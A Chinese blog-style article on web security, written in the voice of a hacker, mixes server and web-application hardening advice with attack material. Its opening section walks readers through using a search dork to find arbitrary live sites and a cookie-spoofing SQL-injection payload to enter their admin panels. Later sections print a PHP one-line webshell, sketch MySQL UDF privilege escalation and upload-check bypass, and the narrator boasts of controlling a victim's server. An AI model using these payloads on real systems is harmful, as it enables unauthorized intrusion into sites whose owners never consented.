“如何Web安全”?

从勒索病毒就可以看出,其实病毒离我们并不远……

一、引言

随着对黑客浅略地了解,慢慢知道了这个鬼东西是一个多么可怕的存在。

希望能通过这篇文章,让一些和之前的我一样没有对黑客一词引起重视的人,加深一下对这方面的了解和关注!

接下来就以第一人称 “我们” 来代表黑客,谈谈Web安全吧(个人拙见)!

二、小试验

为达到抛砖引玉的效果,我们来动手做个小试验,用简单的方法进入网站后台管理系统,只需三步:

  1. 浏览器,谷歌搜索 inurl:szwyadmin/login.asp,随便点击进入一个网站;
  2. 我们会在地址栏键入以下,并Enter:
    javascript:alert(document.cookie="adminuser="+escape("'or'='or'"));
    javascript:alert(document.cookie="adminpass="+escape("'or'='or'"));
    javascript:alert(document.cookie="admindj="+escape("1")); 
    复制代码
  3. 关闭弹窗,把之前地址栏的 login.asp 改为 admin_index.asp,Enter一下! OK,现在我们就已经进入后台管理系统了!

由上可看出,使用Cookie欺骗+SQL注入的这么3条JS语句(payload),就可以打开后台管理系统的大门。

不注重安全的网站是多么作死的一件事啊……

三、专业词

  • 一句话木马:网页木马的一种,代码类似于 “<%execute request("value")%>” 。因代码短小(一般只有一句话 )而得名,主要用于拿取WebShell
  • WebShell:以asp、php、jsp或者cgi等网页文件形式存在,也可以将其称做为一种网页后门。 可以使用浏览器来访问它,以得到一个命令执行环境,以达到控制网站服务器的目的。
  • XSS:恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入其中的Script代码将被执行,从而达到恶意攻击的目的。
  • SQL注入: 攻击者构造恶意SQL语句,随HTTP请求一起传入服务器,以达到操纵数据库的目的(如上面的'or'='or'即是一次最简单的SQL注入)。
  • 肉鸡: 肉鸡也称傀儡机,是指可以被黑客远程控制的机器。黑客常常通过种植木马,来达到远控的目的。方式有很多:CobaltStrike等制作恶意Word文件,点击中马、通过WebShell上传木马、邮件中马……

四、内容总览

so,就以我目前了解的程度(入门级 o(∩_∩)o),从以下三方面来谈谈在下对 Web安全的一些看法:

  • 服务器安全
  • Web后台安全
  • 初识黑客

五、服务器安全

1、“Secure by Default” 原则

事实上,Secure by Default 原则也可以归纳为白名单黑名单思想

如果更多地使用白名单,那么系统就会变得更安全。  一白帽子讲 Web安全
复制代码

举个例子吧:

某天你发现你服务器的 C:\Users\ 目录(或Linux的 /home/ 目录下)多出了一个陌生的文件夹?
复制代码

这通常说明:你的服务器已被 “我们” 登录过了,那么,该怎么办呢?

通过如Windows的事件查看器等来查到 “我们” 的IP;
防火墙增加一条入站规则:限制该IP使用3389端口(远程桌面,Linux为22端口)。
复制代码

以上便是黑名单思想

同样,我们也可以预见:黑名单方式并不能真正解决问题!

因为 “我们” 完全可以通过已控肉鸡为跳板,或直接使用代理的方式来更换IP。

所以大家应该更多地去使用白名单策略

配置防火墙只允许特定IP访问,具体配置顺序是先拒绝所有IP,然后允许某些特定IP访问。以下是具体命令:

#Windows
netsh firewall set portopening TCP 3389 远程桌面 ENABLE CUSTOM [允许访问的IP]      
#Linux,IP格式也支持形如 192.168.0.0/16 的掩码方式的IP段
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -s [允许访问的IP] -j ACCEPT    
复制代码

2、软件默认值

大家都知道的一些常用软件的默认端口:3306、1433、1521、3690、6379、5938 等。

以上这些,你们知道, “我们”也知道。这些端口都有可能被 “我们”拿来做大范围IP段的端口漏洞扫描!

所以,可以考虑修改一下某些重要软件的默认端口。这样可以躲避大多数的常规扫描。

还是举个例子,以下是 护卫神 默认安装后的首页,里面的默认参数百出:

就问一句,这种东西,你怕不怕?

3、个人的安全意识

举个例子:

这个是全球知名的漏洞平台: exploit-db 网站上面公布的某个漏洞(这不禁又让我想起了被封掉的乌云平台)。

2018年9月份公布的一个关于JQ上传插件的一个0 day漏洞

这个插件在Github上的地位, 29.6K的星星,使用者相当多(用过的前端大佬请对号入座)!

  1. 何为0 day? 说白了就是第一手漏洞,系统商甚至都还完全不知情。这类漏洞危害很大,甚至被黑客们用了好几年,才被公布出来!

  2. 用这个漏洞可以干嘛? 很简单:非常容易地上传一句话网马、拿到WebShell、后提权、种植木马、留下后门……

  3. 简单到什么程度? 随便一个会用 Postman 的人都能上传!

好了,所以说,个人安全意识也很重要!

例中可以看到,某些网站会经常性地披露漏洞。而如果这些漏洞被“我们”利用,制作了相应的木马。而你的服务器(包括个人PC)刚好还未进行系统升级或打上相应的补丁,那么你就有可能会成为“我们”的肉鸡。

所以,有意识地为系统升级、打打补丁、逛逛 Hacker News,还是很有必要的!

另外,一些杀毒软件你也是应该安装的。现在的杀毒软件能杀掉大部分的流行病毒。

而作为服务器,安全狗护卫神这类防御软件也是需要的,它们除了拥有攻击防护的功能之外,还能找到杀毒软件无法查杀的一句话木马。

最后还得友情提醒一句:尽量不要在你的服务器上进行一些敏感操作(如转账等),因为也许“我们”正通过VNC Viewer键盘记录等功能,监视、记录着你的屏幕和键盘呢……

4、访问控制

  • 需要时请给不同软件分配不同的用户,做到垂直权限管理,即:root>mysql>访客

如:安装MySQL,应新建一个mysql的用户,它只拥有特定文件夹和文件的读写权限,用于数据备份和恢复。

一旦你分配了高权限给mysql,当我们爆破mysql账户密码后,就可以使用SQL语句的dumpoutfile命令写入木马文件到你电脑的lib\pluginc:\windows\system32\等关键目录,之后即使用 udf提权 等方式,获得你电脑的超级管理员权限。

  • 不同软件用户应做到水平权限管理

1、mysql用户应无法写入文件到apache目录(防止mysql写入网页木马到网站目录,以拿取webshell); 2、apache用户无法写入文件到mysql相关目录(防止利用上传漏洞写入udf.dll等文件,从而进行 udf提权 )。

5、阿里云

针对阿里云服务器,一个叫做安全组的功能很是好用,它将是你的第二道防火墙!

它的作用类似于电脑防火墙,可以添加允许访问的IP、IP段和端口等;也可以添加阻止访问的IP、端口。

当然安全组策略的配置也应遵守“Secure by Default” 原则!

你应该优先配置安全组策略而不是本机防火墙!

因为“我们”一旦获得了你网站的WebShell(或服务器的反弹Shell等),那么“我们”是可以通过命令来随意关闭你的防火墙的,但是想要操纵安全组却不行!

说到这儿,突然想起了上次的一个肉鸡服务器:

1. 他察觉到我的存在;
2. 然后立马修改了安全组白名单;
3. 我这儿边,cmd看到他的防火墙被我关掉了,3389也一直开放着,但就是远程不上 (┬_┬) 。
复制代码

另外,阿里云盾也是一个好帮手,目前阿里云盾提供免费的DDoS防护、安骑士、弱点分析等功能。

6、其他

  • 如果没有特殊需要,服务器可以考虑关闭 ICMP 协议,说白点,就是禁止ping!

    • 我们的许多工具如著名的NMap等,都有支持ping扫描的模块,禁止ping可以防止一些工具的恶意扫描。
    • 这样做可以防止类如 ICMP Flood的DDoS攻击。
  • 如果不需要使用mysql的dumpoutfile函数进行数据备份,那么请考虑使用 secure_file_priv 模式启动mysql。

    • 这是mysql的一个新特性,用来限制load、outfile、dump、load_file等函数将文件导出到指定目录(当ure_file_priv的值为null ,表示限制mysql不允许导入|导出)。
    • 在mysql5.7.6后,这个参数默认为null。“我们”爆破过许多mysql账户密码,但是大多都是以无法导出文件而告终,这让“我们”很伤……

六、Web后台安全

我就直接说说对于Web后台的几个小建议吧!

1、上传相关建议

  • 应保证上传目录不具有可执行权限

    我们可以设置上传路径可读可写不可执行。当然我的建议是,通过诸如Nginx服务器,为静态资源(上传的文件)配置静态资源服务器,其本质就是通过 locationurl请求服务器物理路径进行虚拟映射。

    可以的话,最好单独设置静态资源服务器的域名,这样可因浏览器同源策略的关系,使得一系列客户端攻击无效(如XSS)。

  • 上传文件类型的校验操作放在服务器端

    首先说说为何要进行上传类型校验,我看来原因有二:

    1、限制一些无关后缀名的文件上传,导致带宽浪费和服务器性能开销;

    2、防止攻击者上传xx.php或xxx.asp等网页木马,从而拿到webshell。

    那为什么校验要放在服务器端进行呢?

    这里我直接举个例子来说明:

    1、某网站使用JS来进行上传校验,我们上传了一张包含恶意代码的图片

    2、然后使用 Burpsuite 或 Wireshark 等工具对该请求进行抓包

    3、拿到十六进制包文件,改掉相应数据使得上传文件后缀名变为.php或.asp

    4、这样骗过了前端,上传了一句话网页木马!

2、敏感隐藏

  • 后台管理入口的隐藏(包括你的phpMyAdmin)

    “我们”一旦找到了你的后台管理入口,就会使用各种技术进行爆破,后台密码爆破Cookie欺骗中转注入等,这大大增加了网站服务器的危险系数。

    记得之前看过 职来职往 的一期节目,里面一个骚年当说出:找到了58同城的后台管理入口,就语惊四座!

    所以,隐藏后台管理入口是一件很有必要的事情。

    另外值得一提的是,把数据库和服务器进行分离将会提高服务器的安全性,因为“我们”有时爆破数据库后,总是苦于无法得知它的网站是什么。 当然如果条件有限,也可以使用Nginx等配置虚拟主机将其进行隔离。

  • 敏感文件的隐藏

    1、网站存在robots.txtweb.sitemap等文件,可能会泄露网站目录结构;

    2、织梦默认的 xxx.com/data/admin/ver.txt 文件会泄露当前织梦系统的版本。而一般“我们”就可以根据版本号去找相应织梦系统的漏洞,如:

    3、phpinfo.php等敏感文件的处理或隐藏 这个文件我得多说一下,它可以帮助“我们”找到你的网站在你服务器的绝对路径,这对“我们”来说是一件非常有帮助的事。因为知晓了网站根目录的绝对路径,就可以通过SQL注入把网页木马写到你的网站目录下;

    4、源码和数据库备份文件的隐藏 这是非常非常重要的!尽量不要将源码文件放在网站目录中(除非设置所在文件夹访问403)。否则“我们”难免会使用爬虫目录扫描等手段找到你的源码并下载下来,然后通过代码审计等方式,很快找到你代码中的一些敏感的东西,比如加密规则数据库连接密码支付密钥等……

  • 敏感配置参数的隐藏

    1、支付相关的敏感参数,如商户号、支付私钥等 。

    2、上传类型后缀名、禁用的函数名等敏感配置,这类配置参数,其实放在代码里就行。而织梦将其放在了数据库:

    这将导致 “我们”在爆破到数据库后,通过添加允许上传的后缀名(如.php)来上传网页木马、删除禁用函数(如eval)来执行网页木马。

3、其他

  • 软件漏洞的关注

    1、正使用着Struts2,那么我们就有理由去关注一下Struts2的命令执行漏洞;

    2、正在使用FckEditor、eWebEditor等富文本编辑器,它们给我们带来了丰富的输入,同时也给我们带来了许多的漏洞;

    3、正使用Apache、Nginx、IIS,就应该了解一下Apache、IIS文件解析问题、Nginx的fastcgi的文件类型解析问题。

  • 加密

    1、加密时不要使用ECB模式;

    2、使用HMAC-SHA1代替MD5(甚至SHA1);

    3、使用随机的salts(盐)和IV(向量)。

  • 代码

    1、使用预编译(如Java的Preparedstatement)来防止SQL注入;

    2、使用view层的输出编码来解决XSS攻击

七、初识黑客

前面一直在说拿WebShell、拿WebShell,那么,拿到WebShell后能做什么事情呢?

一般来说,可进行文件上传下载、执行cmd命令等等。

1、一句话木马

下面我们看看著名的一句话木马以及它的连接工具---中国菜刀(替代品:蚁剑):

#一句话木马
 @eval($_POST[value]);?>
复制代码

中国菜刀

2、WebShell大马

以下是php大马进行了编码伪装后的样子:

访问却是这样:

3、肉鸡

中远控木马后,成为肉鸡:

上面可以看到,基本上 服务器所有者能做的,你差不多都能做了!

实在做不了的,马上添加一个用户,远程桌面去做……

4、黑客需要会点啥?

  1. Windows的dos命令需要会点儿吧? 操作防火墙、修改注册表、操作计划任务、操作系统服务,当前还有最基本的**添加用户**和**隐藏用户**等命令。
  2. Linux的shell命令需要会点儿吧? 同样的添加用户、删除用户、操作iptables防火墙、vi、tar、chkconifg、chmod、ps……
  3. 数据库的SQL语句需要会点儿吧? SQL注入了解一下?
  4. JavaScript需要会点儿吧? JS不会,你搞什么XSS?搞什么CSRF?
  5. 加密与解密懂点吧? 爆破是一门技术活,熟悉加密算法、拥有好的字典、牛逼的社会工程学知识都能让你在爆破速度上面有质的提升。
  6. php、asp、java这些得懂点儿吧? 网马不就是利用这些语言脚本写出来的嘛。另外比如c++,灰鸽子和很多木马工具也是通过c++写的,不了解一下就只能长期买别人的远控软件,甚至还带着别人的后门木马……
  7. 一些会用到的计算机网络知识 如dns、tcp(tcp的syn)、udp、icmp、http等,在进行dns隧道、DDoS、网络嗅探、arp欺骗等都用得着。
  8. 一些技术性的东西 如免杀技术、提权、渗透技术、爬虫、抓包分析等。
  9. 不怕蹲监狱的心……

你可能感兴趣的:(“如何Web安全”?)